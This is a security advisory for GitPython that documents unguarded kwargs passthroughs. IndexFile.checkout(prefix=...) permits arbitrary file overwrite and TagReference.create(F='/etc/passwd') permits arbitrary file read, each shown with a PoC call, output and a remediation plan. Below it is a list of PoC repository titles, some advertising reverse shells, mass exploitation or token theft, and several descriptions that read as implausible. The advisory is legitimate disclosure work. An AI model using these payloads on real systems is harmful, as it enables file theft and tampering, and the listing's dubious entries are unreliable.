**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ## Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ## Instance 2 — `TagReference.create()`: arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ## Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) | | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | | `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found | | `Repo.merge_base()` | `merge-base` | no path-taking option found | | `Repo._get_untracked_files()` | `status` | no path-taking option found | | `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 | ## Suggested remediation **Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = ["--prefix"]` (consider `--temp`) and `unsafe_git_tag_options = ["--file", "-F"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`. **Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time. ## Disclosure Reported privately via GitHub private vulnerability reporting.
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-79483-FastGPT-NoSQL-Injection
FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)
PoC: givewp-cve-2026-82222-rce-lab
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
PoC: CVE-2026-19745
Learn how I found my first two CVEs by pure accident.
PoC: cve-2026-23989-opencloud-lab
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: CVE-2026-72898
Metabase SQLi
PoC: CVE-2026-19478
GitLab Code injection
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
PoC: CVE-2026-12513
CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).
PoC: ghostlock-oppo-watch3pro
CVE-2026-43499 on OPPO Watch 3 Pro
PoC: cve-2026-82222-poc
Public PoC for CVE-2026-82222
PoC: zk-xml-probe
Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).
PoC: SOC335-CVE-2024-49138-Investigation
SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.
PoC: papercut-toolkit
#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained
PoC: PaperCut-CVE-2026-81578-82078
Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078
PoC: vankyo-s30-bootloader-unlock
Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: hdwebmobile-formula-pricing
WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE
PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
PoC: spring-ai-sibling-loop-poc
Minimal reproduction for Spring AI ParagraphManager sibling self-loop OOM (incomplete fix of CVE-2026-47851)
PoC: mssharepoint-scanner
A scanner for CVE-2026-55040 and CVE-2026-63520, designed to determine whether the server is affected by these two CVEs.
PoC: weblogic
Oracle WebLogic Console unauthenticated auth bypass + RCE exploit (CVE-2020-14882 / CVE-2020-14750)
PoC: CVE-2021-27876-veritas-backup
Metasploit module: Veritas Backup Exec Agent SHA-auth NDMP remote code execution (CVE-2021-27876/27877/27878)
PoC: Project-CVE-2026-65351
For educational purposes
PoC: rmg-s9180-fzg1
Root My Galaxy SM-S9180 (dm3q) S9180ZHS8FZG1 payload port - CVE-2026-43499 + KernelSU LKM
PoC: hacktivity-vulns-exploits-lab
Writeup + CVE analysis + countermeasures for the Hacktivity 'Vulnerabilities, Exploits, and Remote Access Payloads' lab (netcat shells, Metasploit, CVE-2010-1240, CVE-2004-2687).
PoC: CVE-2026-55040-Mass-Exploit
CVE-2026-55040
PoC: Project-CVE-2026-75604
A Python-based exploitation framework for CVE-2026-75604 that enables authorized penetration testers to validate Next.js Windows cache traversal vulnerabilities. Deploys reverse shells and webshells via path traversal, with built-in target verification and proxy support for seamless integration into standard pentest workflows.
PoC: CVE-2026-18963
CVE-2026-18963 Keycloak Reset-Credentials State Bypass Detector
PoC: CVE-2015-3246
CVE-2015-3246
PoC: CVE-2015-5287
CVE-2015-5287
PoC: htb-labs-nexus
Hack The Box Nexus machine write-up covering reconnaissance, Gitea credential discovery, Krayin CRM exploitation via CVE-2026-38526, initial access, and privilege escalation through a vulnerable Gitea template synchronization service.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free